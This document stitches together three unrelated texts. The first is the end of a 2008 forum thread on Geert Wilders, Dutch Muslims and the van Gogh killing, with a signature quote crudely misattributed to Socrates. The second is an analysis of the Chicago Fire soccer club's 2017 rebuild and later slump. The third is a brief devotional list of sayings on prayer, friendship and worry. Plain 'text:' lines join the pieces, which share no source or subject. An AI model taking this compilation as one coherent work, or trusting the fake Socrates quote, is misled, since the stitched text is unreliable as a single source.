And then suddenly a man makes a movie attacking the Quran and saying the Prophet was a childmolester.
This was the finally push that made him go over the edge and kill Van Gogh in the brutal way he did.
All of these circumstances are ignored by people as Wilders and Hirshi Ali. They abuse the weak position many 1st and 2nd generations are in as they were never educated. How can they defend themselves against professors and politicians?
And the 3rd genereration is busy to find steady ground for their identity.
It is an easy group to pick on....
This is why it is important educated Muslims who have a good insight in Islam, and thank God there are many emerging in Holland, are creating information platforms that present an alternative to Wahabism and the supersitious Islam of the 1st generations.
Posts: 5
Karma +0/-0
Re: The mistakes on Geert Wilders by the foreign media-My reflections
Reply #3 on:
February 17, 2008, 07:37:45 PM »
Thank you all very much for this background on Dutch culture and recent history.
This post, and the replies, have given me a look at the current situation in the Netherlands, and probably other places in Europe, in greater depth than we see in the news. No surprise there, I'm afraid.
While I'm here, a combination of unabashed, blatant, self-promotion - and a request for input.
One of my blogs, "Another War-on-Terror Blog,"
, is my attempt to sort out the communication (sometimes using words, sometimes using swords and high explosives) between the 'Islamic world' and the western world.
I'd appreciate (informed) feedback.
Thanks again, and I intend to be back.
"To follow knowledge like a sinking star, Beyond the utmost bound of human thought."
Wise One / Burnout
Posts: 2008
Karma +1/-1
Re: The mistakes on Geert Wilders by the foreign media-My reflections
Reply #4 on:
February 17, 2008, 07:53:13 PM »
Very nice blog man.
"We know too well that our freedom is incomplete without the freedom of the Palestinians."
- Nelson Mandela
"Hesitation leads to masturbation."
- Socrates
Pages: [
Go Up
« previous
next »
Free Minds
World News
Discuss Latest World News
) »
The mistakes on Geert Wilders by the foreign media-My reflections
Simple Machines
Page created in 0.088 seconds with 34 queries.


text:
In the winter of 2017, coach Veljko Paunovic had his first real chance to put his stamp on the Chicago Fire. He had been in charge for a year and it didn't go well. The Fire "won" their second consecutive Wooden Spoon in 2016, finishing dead last in the league, and had few players to build around.
They had taken the first steps toward shifting their long-held state of mediocrity before 2016, when they dealt Homegrown attacker Harry Shipp to Montreal. Shipp was the only semblance of a successful young player to come through Chicago this decade, and he was at one point seen as a cornerstone. Trading him was a statement of intent from Paunovic.
Their failure to make good on overseas signings (see: Gilberto, among numerous other examples) held back their progress. GM Nelson Rodriguez cut dead weight after the 2016 disaster, declining options on players like Razvan Cocis and Nick LaBrocca. The rebuild began once those players were out.
Paunovic and Rodriguez signed Nemanja Nikolic and Juninho in December 2016 and set the league on fire by trading for Dax McCarty the next month, adding the Supporters' Shield-winning McCarty to a new-look central midfield. (The $400k of allocation money sent to New York for McCarty seems small now, but in the early days of dollar amounts being revealed, it was a splash.)
Chicago's approach was to use their Designated Player slots and allocation money to get better instantly. It was, essentially, a one-year rebuild, a concept unique to MLS. Even with a restrictive salary cap, it is much easier for MLS teams to quickly get better than it is for MLB, NFL, NHL and NBA teams. There's little incentive to tank or bottom out in MLS, because there's an accessible, deep pool of talent constantly available. A by-product of playing the world's game.
Bastian Schweinsteiger, signed as a DP in late March, was the final piece of the puzzle. He didn't make a ton of sense tactically at the time, but it didn't matter: Bastian is Bastian, and his job was to get on the ball a lot and pair with McCarty. With Paunovic finding productive roles for previously marginalized players — notably Matt Polster, who became one of the league's best right backs – Chicago rose quickly.
Paunovic had them playing an exquisite possession-based style of play, emphasizing passing through midfield and distribution to the flanks — where remained arguably the team's best player, David Accam. Nikolic won the Golden Boot, and while the Fire lost handedly at home in the knockout round of the playoffs, the pieces were seemingly there.
That was not the case. They traded Accam in the offseason to Philadelphia for a sizable allocation fee, a decision that looks in hindsight like a poor one. This season, they've lacked the dynamism and game-breaking abilities of Accam in attack, making them predictable and slower in build-up. Without a number 10, a weakness that was papered over last year, the Fire have been decidedly less threatening with the ball.
Per American Soccer Analysis, Chicago have just 10.3 shots per game, worst in the league, and they're 20th in expected goals for per 90. Their xGD/game is the worst in MLS. They've taken a significant step back, and winter acquisition Aleksandar Katai hasn't been able to overcome the deficiencies.
The Fire are 10th in the Eastern Conference — last on points-per-game. The loss of Polster to numerous injuries has hurt, and left back Brandon Vincent has been shuttered to center back due to depth issues. They stood pat in the summer transfer window. Paunovic, whose contract expires after this season, is looking at a blurry future in Chicago.
Fan disapproval is high just a year after the Fire were one of the most entertaining teams in the league. Supporters groups are unhappy with Rodriguez for various injustices. Things are getting bad in Chicago.
Their on-field problems come down to inaction. They never really improved, and losses of players like Accam, Joao Meira and Polster (to injury) have hurt worse than anticipated. Players like Jonathan Campbell, Vincent, Daniel Johnson and Grant Lillard haven't shown signs of growth.
Paunovic has tried a few things to pull the Fire out. He's put Schweinsteiger in a number of different positions, from old-fashioned sweeper to number 10, but all that's done is cause further instability. The defense is error-prone and weaker than it was last season. Injuries to McCarty haven't helped.
They've lost seven straight games in MLS and were swept out of the U.S. Open Cup by the Union in the semifinals, a decisive loss in their most important game of the season. The playoffs are a grim possibility at best.
It's hard to look at the winter of 2017, that one-year rebuild, and point out flaws. It's their future execution that was imperfect, and their failure to improve in a number of areas. But it's become clear that growing and spending like the Fire did that winter, and like Orlando City did before 2018, is a more difficult proposition than it may hypothetically seem.
Cultivating a culture of growth is delicate in those roster turnover-heavy circumstances. The Fire left fatal defects in place for too long, and are paying for it.


text:
a spare wheel? a steering wheel?, friendships and books, God's faith, it probably won't last long either, losing vision, prayer, worry
This is a very short item today. It compensates for the length of the last entry!!!
- Prayer? A spare wheel? Perhaps for some folk. Others think a more complete analogy is a steering wheel. It makes sense to me.
- Friendships? They are something like a book that can be destroyed quite quickly, but that normally take a long time to write.
- Life is full of temporary things. So, if things are going well, enjoy. If things are going wrong, it probably won't last long either.
- I have heard it said that when God solves our problems, we have reason to justify our faith in His abilities. Let's consider, then, that maybe when God doesn't solve our problem, perhaps it is because He has faith in our abilities.
- The blind fellow said, "Losing my eye sight has been bad. But, loving my vision – that would be much worse."
- Worry? Does it remove tomorrow's trouble? No, but it does take away today's peace.